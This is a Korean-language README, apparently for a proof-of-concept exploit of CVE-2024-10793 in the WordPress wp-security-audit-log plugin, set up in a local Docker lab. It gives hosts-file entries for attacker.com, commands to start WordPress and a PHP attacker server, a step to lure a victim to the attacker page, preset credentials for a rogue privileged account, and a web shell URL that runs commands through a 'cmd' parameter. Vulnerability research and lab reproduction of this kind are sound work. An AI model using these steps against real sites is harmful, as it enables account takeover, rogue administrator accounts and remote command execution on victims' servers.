
CVE-2024-10793을 대상으로 하는 WordPress wp-security-audit-log 플러그인에 대한 개념 증명 익스플로잇입니다. 조작된 HTTP 요청을 통해 계정 탈취, 권한 있는 사용자 생성, 셸 업로드 및 관리자 조작을 시연합니다.
이 줄들을 hosts 파일에 추가하세요:
127.0.0.1 goodcms.lab
127.0.0.1 attacker.com
Docker를 사용하여 Wordpress 실행:
$ sudo systemctl start docker
$ sudo docker-compose up -d
http://goodcms.lab:2121을 열고 워드프레스 설치 단계를 진행합니다. wordpress에 wp-security-audit-log.5.2.1 또는 이전 버전을 설치합니다.
공격자 서버 실행:
$ php -S 0:9091 -t ./exploit
피해자에게 http://attacker.com을 전달하고 빙고!
악용 영향:

계정 탈취 및 권한 있는 사용자 생성 Poc: 악용 후 공격자 자격 증명: { email: [email protected], username: amin, password: 123456 } (xpl.js 코드에서 변경 가능합니다.)
셸 명령 실행: http://goodcms.lab:2121/wp-content/plugins/sogrid/shell.php?cmd=id
